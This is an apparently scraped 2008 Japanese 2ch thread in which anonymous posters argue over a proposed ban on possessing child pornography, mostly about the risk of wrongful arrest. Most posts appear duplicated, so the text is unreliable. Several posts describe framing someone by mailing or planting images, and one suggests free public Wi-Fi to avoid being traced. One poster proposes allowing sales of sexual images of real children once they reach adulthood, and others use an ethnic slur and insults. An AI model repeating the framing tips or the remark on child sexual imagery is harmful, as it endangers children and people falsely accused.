オタ女のショタ趣味は現実の男の趣味とは一致しないんだよ
そもそも少年×大人女の同人誌ってあんまりないだろ？
300 ：名無しさん＠九周年：2008/08/20(水) 11:24:51 ID:LYJG4/0F0
>>286
オタク文化に起因するものでないケースもあるかもしれませんね
けれど、BLやショタといった二次元の女性向けの児童ポルノのマーケットの巨大さと愛好者の多さ、
これを世間に啓蒙することで、女性のも男性のロリコンに相当するショタコンと呼ばれる類の人種もいる
この認識の浸透をはかれるわけです。
息子を持つ親御さんにとっては、息子が女性教諭に性的ないたずらをされた場合、
被害を訴えやすくなるとは思いませんか？
オタク文化に起因するものでないケースもあるかもしれませんね
けれど、BLやショタといった二次元の女性向けの児童ポルノのマーケットの巨大さと愛好者の多さ、
これを世間に啓蒙することで、女性のも男性のロリコンに相当するショタコンと呼ばれる類の人種もいる
この認識の浸透をはかれるわけです。
息子を持つ親御さんにとっては、息子が女性教諭に性的ないたずらをされた場合、
被害を訴えやすくなるとは思いませんか？
新婚夫婦を捜査しまくれば点数稼ぎも楽勝
たまひよを発見したら、夫婦共々タイーホ
たまひよを発見したら、夫婦共々タイーホ
302 ：悔しくて悔しくて口動かせど声出さずニタ〜と笑うってか♪：2008/08/20(水) 11:25:28 ID:IqpFU/RNO
303 ：名無しさん＠九周年：2008/08/20(水) 11:25:36 ID:BZtUCD1c0
>>294
統一協会系の摂理ね。
だんまりだよな。
【社会】 "日本人女性１００人レイプ"の韓国カルト宗教「摂理」、教祖を中国で拘束か
http://mamono.2ch.net/test/read.cgi/newsplus/1178888925/l50
統一協会系の摂理ね。
だんまりだよな。
【社会】 "日本人女性１００人レイプ"の韓国カルト宗教「摂理」、教祖を中国で拘束か
http://mamono.2ch.net/test/read.cgi/newsplus/1178888925/l50
304 ：名無しさん＠九周年：2008/08/20(水) 11:25:45 ID:iEJorCPP0
>>284
お前は昨日のID:yL62AeTA0ですか？
お前は昨日のID:yL62AeTA0ですか？
305 ：名無しさん＠九周年：2008/08/20(水) 11:25:50 ID:goo4DzbW0
>>291
だから、「送った行為の証明」と
「単純所持の証明」のどっちが容易だと思っているの？
所持の証明なんて、「部屋に落ちていました」と証明すれば終わりなんだよ。
送った奴の証明は、その経緯や過程を立証する必要があるが。
だから、「送った行為の証明」と
「単純所持の証明」のどっちが容易だと思っているの？
所持の証明なんて、「部屋に落ちていました」と証明すれば終わりなんだよ。
送った奴の証明は、その経緯や過程を立証する必要があるが。
306 ：名無しさん＠九周年：2008/08/20(水) 11:25:51 ID:FMQlTvPh0
307 ：名無しさん＠九周年：2008/08/20(水) 11:25:53 ID:q/mKxkERO
>>298
指紋残しとくとか馬鹿か
指紋残しとくとか馬鹿か
>>282
反証不可能って決めつけないと、規制反対派の論拠が無くなっちゃうからな
反証不可能って決めつけないと、規制反対派の論拠が無くなっちゃうからな
309 ：名無しさん＠九周年：2008/08/20(水) 11:27:16 ID:Xwf4Z4/A0
>>305
本人の意図しないところで部屋に置かれても、所持とは言わないよ
本人の意図しないところで部屋に置かれても、所持とは言わないよ
311 ：名無しさん＠九周年：2008/08/20(水) 11:27:58 ID:aVF/mK2L0
312 ：名無しさん＠九周年：2008/08/20(水) 11:28:07 ID:goo4DzbW0
313 ：名無しさん＠九周年：2008/08/20(水) 11:28:35 ID:rBiyeolN0
紙とインクの二次元相手に発散しててくれてたほうがまだ安心なんだけどな
もし漫画が規制されたら、今まで二次元で満足してたロリコンの行き場のなくなった性欲が手近な現実の子供に向けられそうで怖い
漫画やアニメなら現実の被害者とかいないから、好きにやっててくれていいのに…
もし漫画が規制されたら、今まで二次元で満足してたロリコンの行き場のなくなった性欲が手近な現実の子供に向けられそうで怖い
漫画やアニメなら現実の被害者とかいないから、好きにやっててくれていいのに…
>>291
メール送ったやつのほうが罪が重い。
野党案だと懲役三年、民主案だと懲役五年になる。
簡単ないたずら程度の気持ちでやったら
ヘッダを解析されて送りつけたほうが簡単に捕まる。
さらにただメールで送りつけただけじゃだめなので
なんとかして警察に通報しなければならないが
匿名では信憑性を疑われる。
こういうケースでは通報者のほうが疑われるだろう。
メール送ったやつのほうが罪が重い。
野党案だと懲役三年、民主案だと懲役五年になる。
簡単ないたずら程度の気持ちでやったら
ヘッダを解析されて送りつけたほうが簡単に捕まる。
さらにただメールで送りつけただけじゃだめなので
なんとかして警察に通報しなければならないが
匿名では信憑性を疑われる。
こういうケースでは通報者のほうが疑われるだろう。
317 ：名無しさん＠九周年：2008/08/20(水) 11:29:11 ID:LYJG4/0F0
>>299
何を勘違いされてるのか分かりませんが、現行法で規制されている児童性描写の児童に関しては、
女子児童のみならず男子児童も規制の対象ですから。
三次元物においては、あまり注目されていない男子児童のポルノですが、二次元物においては、
大きなマーケットと多くの愛好者が存在していることはすでに確認されています。
むしろ、二次元ポルノの異常性を一般人に広く深く認識してもらうためには、女性向けの二次元児童ポルノ、
この存在を世間に認識、浸透させることが鍵ではないでしょうかね？
何を勘違いされてるのか分かりませんが、現行法で規制されている児童性描写の児童に関しては、
女子児童のみならず男子児童も規制の対象ですから。
三次元物においては、あまり注目されていない男子児童のポルノですが、二次元物においては、
大きなマーケットと多くの愛好者が存在していることはすでに確認されています。
むしろ、二次元ポルノの異常性を一般人に広く深く認識してもらうためには、女性向けの二次元児童ポルノ、
この存在を世間に認識、浸透させることが鍵ではないでしょうかね？
318 ：名無しさん＠九周年：2008/08/20(水) 11:29:25 ID:Xwf4Z4/A0
>>307
指紋がなけりゃ、それはそれで怪しいわな
指紋がなけりゃ、それはそれで怪しいわな
319 ：名無しさん＠九周年：2008/08/20(水) 11:29:35 ID:q/mKxkERO
320 ：名無しさん＠九周年：2008/08/20(水) 11:29:40 ID:SsrOlKwv0
陥れたい奴に、送りつけるだけで(ﾟдﾟ)ｳﾏｰな法ですね＾＾；
321 ：名無しさん＠九周年：2008/08/20(水) 11:29:45 ID:OWKzbsIhO
322 ：名無しさん＠九周年：2008/08/20(水) 11:29:57 ID:d8gUr3oL0
323 ：名無しさん＠九周年：2008/08/20(水) 11:29:59 ID:FRHAcjwv0
>>302
反対派が口に出し辛い名称だからこそ、推進派は堂々と賛成を主張できるんでしょ？
このスレに居る“ロリコンレッテル貼り”が、意外と世間一般の反応だったりしそうだしな。
もちろん、面と向かってこのスレのように「ロリコン死ね」等は言わないと思うが、
むしろ裏でロリ認定がされた方がダメージでかいｗ
反対派が口に出し辛い名称だからこそ、推進派は堂々と賛成を主張できるんでしょ？
このスレに居る“ロリコンレッテル貼り”が、意外と世間一般の反応だったりしそうだしな。
もちろん、面と向かってこのスレのように「ロリコン死ね」等は言わないと思うが、
むしろ裏でロリ認定がされた方がダメージでかいｗ
324 ：名無しさん＠九周年：2008/08/20(水) 11:30:00 ID:BZtUCD1c0
現行法の重罰化じゃいかんの？
なんでわざわざ新法作る必要あるわけ？
そこが全く釈然としない。
ロリ趣味のヤツがネット通じて画像を入手するのを止めるなんてほぼ不可能だろ。
叩くなら地道に製造元を叩きつづけるしかないだろ。
なんでわざわざ新法作る必要あるわけ？
そこが全く釈然としない。
ロリ趣味のヤツがネット通じて画像を入手するのを止めるなんてほぼ不可能だろ。
叩くなら地道に製造元を叩きつづけるしかないだろ。
327 ：名無しさん＠九周年：2008/08/20(水) 11:31:48 ID:goo4DzbW0
>>309
単純所持というのは、それも含めて有罪です。
だから自民党も「性的意図」という限定要件を出してきたんだが
それをどうやって証明するわけ？
「性的意図」なんて、主観的要件なんだから立証しようがない。
あえていえばインポの人などは、性的意図なしと証明できるだろうが
特殊ケースだ。
単純所持というのは、それも含めて有罪です。
だから自民党も「性的意図」という限定要件を出してきたんだが
それをどうやって証明するわけ？
「性的意図」なんて、主観的要件なんだから立証しようがない。
あえていえばインポの人などは、性的意図なしと証明できるだろうが
特殊ケースだ。
329 ：名無しさん＠九周年：2008/08/20(水) 11:32:21 ID:d8gUr3oL0
330 ：名無しさん＠九周年：2008/08/20(水) 11:32:21 ID:Xwf4Z4/A0
331 ：名無しさん＠九周年：2008/08/20(水) 11:32:21 ID:BZtUCD1c0
>>321
そうか。
海外ではききちんと機能しているようだ。
【海外/オーストリー】イエス・キリスト像「裸だ」 ポルノ反対運動家が撤去を求める
http://mamono.2ch.net/test/read.cgi/newsplus/1193355810/l50
そうか。
海外ではききちんと機能しているようだ。
【海外/オーストリー】イエス・キリスト像「裸だ」 ポルノ反対運動家が撤去を求める
http://mamono.2ch.net/test/read.cgi/newsplus/1193355810/l50
332 ：名無しさん＠九周年：2008/08/20(水) 11:32:17 ID:q/mKxkERO
>>318
確かに全く無いのはおかしいが経緯がわかるような指紋は手袋はめたりして残さないようにするだろ普通
確かに全く無いのはおかしいが経緯がわかるような指紋は手袋はめたりして残さないようにするだろ普通
334 ：名無しさん＠九周年：2008/08/20(水) 11:33:29 ID:s0rUbLI00
>>29
ロリコン漫画が平然とはびこる日本が一番、児童に対するレイプ被害が
すくないんだけどな。
馬鹿じゃないかと思うんだよ、与党も野党も。
なんで、ロリコン犯罪の少ない日本を、鬼畜なロリコン犯罪が多い外国
と同じようにしようと法改正するんだろう。
下手したら、状況悪化するぞ。
まあ、児童の保護なんてどうでもいいのかもしれないけどな。その国際会議で
我々はやりました、と一言言えればそれで満足なんだろう。
ロリコン漫画が平然とはびこる日本が一番、児童に対するレイプ被害が
すくないんだけどな。
馬鹿じゃないかと思うんだよ、与党も野党も。
なんで、ロリコン犯罪の少ない日本を、鬼畜なロリコン犯罪が多い外国
と同じようにしようと法改正するんだろう。
下手したら、状況悪化するぞ。
まあ、児童の保護なんてどうでもいいのかもしれないけどな。その国際会議で
我々はやりました、と一言言えればそれで満足なんだろう。
ロリコンざまぁwとかロリコン死ねって言ってる人も、ロリコンとして逮捕される。
規制賛成派もロリコン毛嫌いしてる人も、ロリコンの仲間入り。
冤罪だと言っても誰も信じてくれないよ。
336 ：名無しさん＠九周年：2008/08/20(水) 11:34:29 ID:goo4DzbW0
337 ：名無しさん＠九周年：2008/08/20(水) 11:35:26 ID:ITwARMR70
ID:LYJG4/0F0 は、前スレのスレ違い荒らしID:stSuq8b0
338 ：名無しさん＠九周年：2008/08/20(水) 11:35:29 ID:d8gUr3oL0
XPの奴は
C:\Documents and Settings\ユーザ名\Local Settings\Temp
のフォルダでも見てみれば？
間違ってリンクをクリックしたら児童ポルノが表示。
ﾔﾍﾞｰと思ってブラウザ閉じても残る。
はい逮捕。
警察で力説して何とか放免されても、「警察に連れて行かれた」人間の社会的評価は壊滅的。
さらに、警察の追及は非情に精神に負担が掛かる。
真面目な奴ほどダメージがでかい。
盲目的に賛成している奴は、埃を被ってる想像力を使ってみることだな。
C:\Documents and Settings\ユーザ名\Local Settings\Temp
のフォルダでも見てみれば？
間違ってリンクをクリックしたら児童ポルノが表示。
ﾔﾍﾞｰと思ってブラウザ閉じても残る。
はい逮捕。
警察で力説して何とか放免されても、「警察に連れて行かれた」人間の社会的評価は壊滅的。
さらに、警察の追及は非情に精神に負担が掛かる。
真面目な奴ほどダメージがでかい。
盲目的に賛成している奴は、埃を被ってる想像力を使ってみることだな。
340 ：名無しさん＠九周年：2008/08/20(水) 11:36:38 ID:q/mKxkERO
>>330
ここまで冤罪について議論してるのに「児童ポルノ容認してるんでしょ？」とか馬鹿か？
ここまで冤罪について議論してるのに「児童ポルノ容認してるんでしょ？」とか馬鹿か？
342 ：名無しさん＠九周年：2008/08/20(水) 11:36:45 ID:aVF/mK2L0
>>336
＞捜査に入ってから捜査官がわざと写真を落として有罪にすることもできる
「そんな事する必要がどこにある？」って切り替えされても、まぁ「点数稼ぎ」には持ってこいだしな
８９３の事務所に踏み込むよりリスクは無い
＞捜査に入ってから捜査官がわざと写真を落として有罪にすることもできる
「そんな事する必要がどこにある？」って切り替えされても、まぁ「点数稼ぎ」には持ってこいだしな
８９３の事務所に踏み込むよりリスクは無い
343 ：悔しくて悔しくて口動かせど声出さずニタ〜と笑うってか♪：2008/08/20(水) 11:36:51 ID:IqpFU/RNO
>>296
反論できない、というには語弊があるんじゃないかな？
声が出ないのか？
文字を書けないのか？
自分が反論していないだけではないのか？
腹が減ったら飯を食うんじゃないのか？
「飯を食え」と言われなければ、何日でも食うことを忘れて過ごすのか？
表立ってでも反対している者に対してどう思っているのか？
反論できない、というには語弊があるんじゃないかな？
声が出ないのか？
文字を書けないのか？
自分が反論していないだけではないのか？
腹が減ったら飯を食うんじゃないのか？
「飯を食え」と言われなければ、何日でも食うことを忘れて過ごすのか？
表立ってでも反対している者に対してどう思っているのか？
344 ：名無しさん＠九周年：2008/08/20(水) 11:36:53 ID:7jo0ogr4O
ヤクザって暇なんだな。いいな、それで飯食えて。
345 ：名無しさん＠九周年：2008/08/20(水) 11:36:55 ID:vGFL8+ENO
>>328
じゃあ送り元を判明させない「容易な」手段書いてみろよ
じゃあ送り元を判明させない「容易な」手段書いてみろよ
いいか、18歳未満の写真や動画は全て捨てるんだぞ。
自分の写真、子供や従兄弟の写真もだめだ。
男の子だから大丈夫？アホか、18歳未満に男女関係ないだろ！
パンチラ・上半身裸 より卑猥なら確実にアウトだからな！
自分の写真、子供や従兄弟の写真もだめだ。
男の子だから大丈夫？アホか、18歳未満に男女関係ないだろ！
パンチラ・上半身裸 より卑猥なら確実にアウトだからな！
347 ：名無しさん＠九周年：2008/08/20(水) 11:37:08 ID:goo4DzbW0
児童ポルノポスト投函作戦、児童ポルノ落し物作戦、
児童ポルノをインターネットを利用して取り込ませる作戦。
所持禁止にすれば、色々なことが可能になる。
児童ポルノをインターネットを利用して取り込ませる作戦。
所持禁止にすれば、色々なことが可能になる。
349 ：名無しさん＠九周年：2008/08/20(水) 11:38:19 ID:d8gUr3oL0
>>345マクドナルドの無料無線LANも知らない情報弱者乙
351 ：名無しさん＠九周年：2008/08/20(水) 11:39:10 ID:14PSpHsM0
アニヲタ全員逮捕だなこれ
ちゃねらーの半分も逮捕
ちゃねらーの半分も逮捕
>>351
そして君も逮捕される。
そして君も逮捕される。
>>336
そこまでいったらなんでもできるよ。
殺人事件だけど
警察が家宅捜索で証拠をでっちあげたといって
いまだに再審請求を続けてる死刑囚もいる。
この証拠というのは単純所持を禁止されてるものでもなんでもない。
普通の遺留品だ。
そこまで警察が何でもやれるなら
児童ポルノに限らず、ほとんどの罪の陥れることができる。
お話にならない。
そこまでいったらなんでもできるよ。
殺人事件だけど
警察が家宅捜索で証拠をでっちあげたといって
いまだに再審請求を続けてる死刑囚もいる。
この証拠というのは単純所持を禁止されてるものでもなんでもない。
普通の遺留品だ。
そこまで警察が何でもやれるなら
児童ポルノに限らず、ほとんどの罪の陥れることができる。
お話にならない。
355 ：名無しさん＠九周年：2008/08/20(水) 11:40:20 ID:Xwf4Z4/A0
単純所持を禁止したところでロリコンがエロ画像集めるのやめるわけない。
底辺のやつらのそんなの可愛いもんだ。
シブヤのプチエンジェル事件をみてみろ。地位と金のあるロリコンの方が
よっぽど悪質だし、こんな法律ではどうにもならん。
底辺のやつらのそんなの可愛いもんだ。
シブヤのプチエンジェル事件をみてみろ。地位と金のあるロリコンの方が
よっぽど悪質だし、こんな法律ではどうにもならん。
>>330
まず”児童”および”児童ポルノ”の定義についてお願いします。
12歳以下を児童として
実在の児童が出演しているものを児童ポルノと定義するなら
それに反対する人は少ないのではないでしょうか？
この場合でもその12歳以下が成人もしくは性産業での就労が認められる年齢に達した後ならば
売ることを認めても良いかも知れない。
まず”児童”および”児童ポルノ”の定義についてお願いします。
12歳以下を児童として
実在の児童が出演しているものを児童ポルノと定義するなら
それに反対する人は少ないのではないでしょうか？
この場合でもその12歳以下が成人もしくは性産業での就労が認められる年齢に達した後ならば
売ることを認めても良いかも知れない。
359 ：名無しさん＠九周年：2008/08/20(水) 11:41:20 ID:WvPt3ejzO
>317
女がBLで性欲を満たしてるって立証してみろよｗ
キャーキャー言うのが楽しいんじゃん
女がBLで性欲を満たしてるって立証してみろよｗ
キャーキャー言うのが楽しいんじゃん
360 ：名無しさん＠九周年：2008/08/20(水) 11:41:27 ID:d8gUr3oL0
361 ：名無しさん＠九周年：2008/08/20(水) 11:41:32 ID:q/mKxkERO
362 ：名無しさん＠九周年：2008/08/20(水) 11:41:41 ID:ajbtBv3qO
ドラえもんのシャワーシーンなんかはどうなるんだろ？
あれはただのヌードであって性行為描写じゃないからセーフ？
あれはただのヌードであって性行為描写じゃないからセーフ？
363 ：名無しさん＠九周年：2008/08/20(水) 11:41:46 ID:goo4DzbW0
364 ：名無しさん＠九周年：2008/08/20(水) 11:42:01 ID:Iv1a20Te0
麻生が総理になったら
規制はなくなるの？
規制はなくなるの？
365 ：名無しさん＠九周年：2008/08/20(水) 11:42:10 ID:LYJG4/0F0
>>341
いや、単純にID:WvPt3ejzOみたいなオタクの人間の世間との認識のズレだと思いますよ。
女子児童の裸も男子児童の裸も児童ポルノである。
この認識がない人間がいまだに多いようです。
この認識を広く一般にも浸透されるためには、二次元の女性向け児童ポルノの異常性を
センセーショナルに一般人に広めることが重要だと思います。
片手落ちの現状は、息子を持つ親御さんにとって、大きな不安を抱かせているだけですからね。
いや、単純にID:WvPt3ejzOみたいなオタクの人間の世間との認識のズレだと思いますよ。
女子児童の裸も男子児童の裸も児童ポルノである。
この認識がない人間がいまだに多いようです。
この認識を広く一般にも浸透されるためには、二次元の女性向け児童ポルノの異常性を
センセーショナルに一般人に広めることが重要だと思います。
片手落ちの現状は、息子を持つ親御さんにとって、大きな不安を抱かせているだけですからね。
366 ：名無しさん＠九周年：2008/08/20(水) 11:42:40 ID:jW3JULN60
このスレ見て思ったんだけど２ちゃんねるってロリコンのスクツだから禁止したほうがいいんじゃね
368 ：名無しさん＠九周年：2008/08/20(水) 11:43:19 ID:Xwf4Z4/A0
369 ：悔しくて悔しくて口動かせど声出さずニタ〜と笑うってか♪：2008/08/20(水) 11:43:38 ID:IqpFU/RNO
370 ：名無しさん＠九周年：2008/08/20(水) 11:44:17 ID:VF2X9YvK0
NHK教育。。。。
371 ：名無しさん＠九周年：2008/08/20(水) 11:44:41 ID:d8gUr3oL0
>>368むしろお前に知性はあるのか
>>365
君は本当に人の話を聞かない奴だな。
君は本当に人の話を聞かない奴だな。
>>362
定期的にそういう質問が出てくるけど
二次元は今回法改正されてもセーフだから。。
かりに何年か後に二次元が規制されるとしても
そのときに法案がまとまるまでは
どれがセーフなのかを正確に答える誰にもできない。
定期的にそういう質問が出てくるけど
二次元は今回法改正されてもセーフだから。。
かりに何年か後に二次元が規制されるとしても
そのときに法案がまとまるまでは
どれがセーフなのかを正確に答える誰にもできない。
わざわざ裁判するなら色々と立証したりする手間がかかるが
世の中、上手くできているもんで被疑者の立場も考えて
略 式 起 訴
なんてのもあるんだぜ。
大抵そうなるだろう。
タイーホ→何ヶ月も拘留されるのいやだよね？じゃあ罰金支払って終わりにしようか？→略式起訴→罰金支払わせて速攻で釈放→警察ウマー
世の中、上手くできているもんで被疑者の立場も考えて
略 式 起 訴
なんてのもあるんだぜ。
大抵そうなるだろう。
タイーホ→何ヶ月も拘留されるのいやだよね？じゃあ罰金支払って終わりにしようか？→略式起訴→罰金支払わせて速攻で釈放→警察ウマー
改悪を修正とはこれ如何に
376 ：名無しさん＠九周年：2008/08/20(水) 11:45:29 ID:goo4DzbW0
>>354
だから方法の容易さが違うだろ。
殺人事件の容疑者にするのと、児ポの容疑者にするのでは容易さが違う。
極端に言えば、インポ以外の全国民男性に、児ポ容疑をかけることは可能だ。
真面目なサラリーマンでも清廉潔白な人格者でも、
男であれば児ポ容疑は普通にかけられる。
だから方法の容易さが違うだろ。
殺人事件の容疑者にするのと、児ポの容疑者にするのでは容易さが違う。
極端に言えば、インポ以外の全国民男性に、児ポ容疑をかけることは可能だ。
真面目なサラリーマンでも清廉潔白な人格者でも、
男であれば児ポ容疑は普通にかけられる。
377 ：名無しさん＠九周年：2008/08/20(水) 11:45:35 ID:puGk+Tzn0
・適用範囲：17歳以下(見た目で判断)の男女の裸もしくは性的描写(恣意的に判断)
二次元画像、CGもすべて
・通報で家宅捜査
・弁解の余地与えず即逮捕
・創価学会関係者は無罪
二次元画像、CGもすべて
・通報で家宅捜査
・弁解の余地与えず即逮捕
・創価学会関係者は無罪
スト・・なんとかってのもアウトかな？
A子さん（29歳）がいたとする。
そして、A子さんが10歳の時に撮られたエロ写真があったとする。
A子さんは29歳なんだから、
この写真は児童ポルノではないということになるよな？
そして、A子さんが10歳の時に撮られたエロ写真があったとする。
A子さんは29歳なんだから、
この写真は児童ポルノではないということになるよな？
380 ：名無しさん＠九周年：2008/08/20(水) 11:47:06 ID:q/mKxkERO
381 ：名無しさん＠九周年：2008/08/20(水) 11:47:11 ID:Xwf4Z4/A0
382 ：名無しさん＠九周年：2008/08/20(水) 11:47:25 ID:d8gUr3oL0
>>379ならない。法務省の公式見解では児童ポルノ
384 ：名無しさん＠九周年：2008/08/20(水) 11:47:44 ID:jW3JULN60
>>378
女子高生ストリップは完全にアウトだろ
女子高生ストリップは完全にアウトだろ
とにかくロリコンは性癖なので基本的に治らんのでユーザーをどうこうしようという
のはムダ。ここででてくるような法の恣意的運用による弊害の方がよほど危惧される。
やはりポルノ製造者の方を地道に逮捕し刑罰を重罰化するのがマトモなやり方。
のはムダ。ここででてくるような法の恣意的運用による弊害の方がよほど危惧される。
やはりポルノ製造者の方を地道に逮捕し刑罰を重罰化するのがマトモなやり方。
387 ：名無しさん＠九周年：2008/08/20(水) 11:48:39 ID:3orsUuP20
キチガイ反対派ウザキモロリペドの思考・言動パターン
☆ 「入社試験の結果ですが・・・」
反対派「私御社に入社した暁には精一杯働こうと思います」
☆ 「残念ですがこのたびはご縁を持つことができなかったということで・・・」
反対派「工作員もしくは儲乙」
都合が悪くなったときの魔法のコトバ♥工作員乙♥儲乙♥
☆ 「入社試験の結果ですが・・・」
反対派「私御社に入社した暁には精一杯働こうと思います」
☆ 「残念ですがこのたびはご縁を持つことができなかったということで・・・」
反対派「工作員もしくは儲乙」
都合が悪くなったときの魔法のコトバ♥工作員乙♥儲乙♥
388 ：名無しさん＠九周年：2008/08/20(水) 11:48:47 ID:goo4DzbW0
>>367
＞他人の家に侵入したり、警察が家宅捜査に持ち込むのが全然容易じゃない。
人の出入りする事務所などは侵入は容易だが。
そもそも、不法侵入する必要はなく、合法侵入した後、仕込めばそれでOKなんだから。
あと警察の家宅捜索も超簡単。
エロサイトのアクセスログ辿れば簡単に容疑がかけられる。
＞他人の家に侵入したり、警察が家宅捜査に持ち込むのが全然容易じゃない。
人の出入りする事務所などは侵入は容易だが。
そもそも、不法侵入する必要はなく、合法侵入した後、仕込めばそれでOKなんだから。
あと警察の家宅捜索も超簡単。
エロサイトのアクセスログ辿れば簡単に容疑がかけられる。
389 ：名無しさん＠九周年：2008/08/20(水) 11:49:36 ID:651Ef1zrO
>>224
それはそれ、これはこれ。
そういう犯罪もそうだが規制も必要だろ？
ビッグサイトで事故起こしたコミックマーケットっていう
エロフィギャー市の画像見て危機感覚えなかったか？
それにアニメはいきなり規制されるんじゃなくて
三年間きっちし議論されるだろ
>>225
ＤＱＮやオタクによる監禁事件のニュースとかみて
何も思わないなんてチョンですか？
>>228
「有害」情報な。
日本語はただしくどうぞ。意図的に話をぼかすな
それはそれ、これはこれ。
そういう犯罪もそうだが規制も必要だろ？
ビッグサイトで事故起こしたコミックマーケットっていう
エロフィギャー市の画像見て危機感覚えなかったか？
それにアニメはいきなり規制されるんじゃなくて
三年間きっちし議論されるだろ
>>225
ＤＱＮやオタクによる監禁事件のニュースとかみて
何も思わないなんてチョンですか？
>>228
「有害」情報な。
日本語はただしくどうぞ。意図的に話をぼかすな
390 ：名無しさん＠九周年：2008/08/20(水) 11:49:47 ID:Xwf4Z4/A0
391 ：名無しさん＠九周年：2008/08/20(水) 11:49:51 ID:bn9LHFFp0
要するに二次ロリ禁止して
ババアのAV売りたいだけでしょ
ババアのAV売りたいだけでしょ
392 ：名無しさん＠九周年：2008/08/20(水) 11:49:57 ID:pFxKoEoFO
ロリエロフィギュアはアウト？
393 ：名無しさん＠九周年：2008/08/20(水) 11:50:08 ID:d8gUr3oL0
>>381俺はこの法案が何も危険だと思わない
お前の歪んだ正義感のが遥かに気になるんだが
お前の歪んだ正義感のが遥かに気になるんだが
>>389
オタクによる監禁事件って何？
オタクによる監禁事件って何？
397 ：名無しさん＠九周年：2008/08/20(水) 11:51:52 ID:goo4DzbW0
>>389
有害情報かどうかを法で決めるなんて、まさに思想統制なんだが。
有害情報かどうかを法で決めるなんて、まさに思想統制なんだが。
>>389
日本では 逮捕＝罪人 だぞ。
冤罪だと後でわかっても社会的評価は無意味。
「疑われるような事やってるのが悪い」になるからな。
マイケルジャクソンの扱いを見ても一目瞭然。
お前は現実を正しく見ような。
日本では 逮捕＝罪人 だぞ。
冤罪だと後でわかっても社会的評価は無意味。
「疑われるような事やってるのが悪い」になるからな。
マイケルジャクソンの扱いを見ても一目瞭然。
お前は現実を正しく見ような。
399 ：名無しさん＠九周年：2008/08/20(水) 11:52:18 ID:q/mKxkERO
>>387
お前例示の仕方下手くそすぎるなｗ
お前例示の仕方下手くそすぎるなｗ
全く興味ないのに児童に興味あるようなレッテル貼られそう。
どう考えても第二の置換冤罪まっしぐら。今度の場合は利用するのは警察でしょうけど
どう考えても第二の置換冤罪まっしぐら。今度の場合は利用するのは警察でしょうけど
>>376
家宅捜索で警察が好きなように証拠をでっちあげるなら
ほとんどの犯行ででっち上げ可能だよ。
警察なら入手が難しいものはほとんどないんだから。
たとえば被害者の毛髪なんて、関係者以外の一般人には入手は難しくても
現場にいた警察なら簡単に入手できる。
家宅捜索で警察が好きなように証拠をでっちあげるなら
ほとんどの犯行ででっち上げ可能だよ。
警察なら入手が難しいものはほとんどないんだから。
たとえば被害者の毛髪なんて、関係者以外の一般人には入手は難しくても
現場にいた警察なら簡単に入手できる。
402 ：名無しさん＠九周年：2008/08/20(水) 11:52:38 ID:d8gUr3oL0
403 ：名無しさん＠九周年：2008/08/20(水) 11:52:38 ID:OQ1DGGhh0
↓ おまいらを児ポ法違反でしょっ引く側
【社会】 “観賞するためです” 警視、押収した「無修正エロＤＶＤ」数本をダビングさせて持ち帰る…千葉県警
http://mamono.2ch.net/test/read.cgi/newsplus/1205518823/l50
1 ：☆ばぐた☆ ◆JSGFLSFOXQ ＠☆ばぐ太☆φ ★：2008/03/15(土) 03:20:23 ID:???0
★ＤＶＤ疑惑：刑事官、押収ポルノ複製させ持ち帰る 千葉
・千葉県警船橋東署の刑事官だった警視＝現県警留置管理課管理官＝が、事件の証拠品である
ポルノＤＶＤを署内で部下にダビングさせ、自宅へ持ち帰っていた疑いがあることが１４日、
分かった。県警監察官室は元刑事官らの事情聴取に乗り出した。
【社会】 ロリコン警官、女子中学生２人に１万円ずつ渡しみだらな行為→逮捕…大阪
http://mamono.2ch.net/test/read.cgi/newsplus/1209557379/
1 ：☆ばぐ太☆ ◆JSGFLSFOXQ ＠☆ばぐ太☆φ ★：2008/04/30(水) 21:09:39 ID:???0
★児童買春容疑で警察官を逮捕、２人の中学生とみだらな行為
・女子中学生２人に金を渡し、わいせつな行為をしたとして、大阪府警は３０日、
大阪市中央区南本町１、松原署地域課巡査・冨永祐一郎容疑者（２８）を、児童買春・
児童ポルノ禁止法違反（児童買春）容疑で逮捕した。
冨永容疑者は容疑を認め、「大変申し訳ないことをした」と話しているという。
【社会】千葉：女子トイレ侵入の元警官不起訴 「社会的制裁受けた」と地検
http://mamono.2ch.net/test/read.cgi/newsplus/1219066303/
1 ： ◆hP...kaaC2 ＠窓際記者こしひかりφ ★：2008/08/18(月) 22:31:43 ID:???0
★女子トイレ侵入の元警官不起訴 「社会的制裁受けた」 千葉地検
千葉県市原市の公園の女子トイレに侵入したとして、建造物侵入容疑で書類
送検された警視庁上野署の元巡査部長（４５）について、千葉地検は１８日、
「社会的制裁を既に受けている」などとして不起訴処分とした。
【社会】 “観賞するためです” 警視、押収した「無修正エロＤＶＤ」数本をダビングさせて持ち帰る…千葉県警
http://mamono.2ch.net/test/read.cgi/newsplus/1205518823/l50
1 ：☆ばぐた☆ ◆JSGFLSFOXQ ＠☆ばぐ太☆φ ★：2008/03/15(土) 03:20:23 ID:???0
★ＤＶＤ疑惑：刑事官、押収ポルノ複製させ持ち帰る 千葉
・千葉県警船橋東署の刑事官だった警視＝現県警留置管理課管理官＝が、事件の証拠品である
ポルノＤＶＤを署内で部下にダビングさせ、自宅へ持ち帰っていた疑いがあることが１４日、
分かった。県警監察官室は元刑事官らの事情聴取に乗り出した。
【社会】 ロリコン警官、女子中学生２人に１万円ずつ渡しみだらな行為→逮捕…大阪
http://mamono.2ch.net/test/read.cgi/newsplus/1209557379/
1 ：☆ばぐ太☆ ◆JSGFLSFOXQ ＠☆ばぐ太☆φ ★：2008/04/30(水) 21:09:39 ID:???0
★児童買春容疑で警察官を逮捕、２人の中学生とみだらな行為
・女子中学生２人に金を渡し、わいせつな行為をしたとして、大阪府警は３０日、
大阪市中央区南本町１、松原署地域課巡査・冨永祐一郎容疑者（２８）を、児童買春・
児童ポルノ禁止法違反（児童買春）容疑で逮捕した。
冨永容疑者は容疑を認め、「大変申し訳ないことをした」と話しているという。
【社会】千葉：女子トイレ侵入の元警官不起訴 「社会的制裁受けた」と地検
http://mamono.2ch.net/test/read.cgi/newsplus/1219066303/
1 ： ◆hP...kaaC2 ＠窓際記者こしひかりφ ★：2008/08/18(月) 22:31:43 ID:???0
★女子トイレ侵入の元警官不起訴 「社会的制裁受けた」 千葉地検
千葉県市原市の公園の女子トイレに侵入したとして、建造物侵入容疑で書類
送検された警視庁上野署の元巡査部長（４５）について、千葉地検は１８日、
「社会的制裁を既に受けている」などとして不起訴処分とした。
404 ：名無しさん＠九周年：2008/08/20(水) 11:52:39 ID:jxPgGTFl0
>>351
実際に逮捕されるのは数名だろうな。
